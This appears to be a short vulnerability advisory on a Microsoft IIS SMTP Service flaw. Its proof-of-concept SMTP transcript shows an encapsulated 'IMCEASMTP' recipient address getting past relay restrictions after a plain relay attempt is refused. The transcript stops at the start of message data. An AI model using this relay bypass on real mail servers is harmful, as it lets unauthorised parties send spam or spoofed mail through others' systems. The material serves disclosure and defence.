Microsoft IIS SMTP Service Encapsulated SMTP Address Vulnerability

Microsoft IIS SMTP Service Encapsulated SMTP Address Vulnerability

A proof of concept has been provided by JWC@portcullis-security.com:

220 test-mailer Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready
at
Tue, 28 May 2002 14:54:10 +0100
helo
250 test-mailer Hello [IP address of source host]
MAIL FROM: test@test.com
250 2.1.0 test@test.com....Sender OK
RCPT TO: test2@test.com
550 5.7.1 Unable to relay for test@test.com
RCPT TO: IMCEASMTP-test+40test+2Ecom@victim.co.uk
250 2.1.5 IMCEASMTP-test+40test+2Ecom@victim.co.uk
data
354 Start mail input; end with <CRLF>.<CRLF>
Subject: You are vulnerable.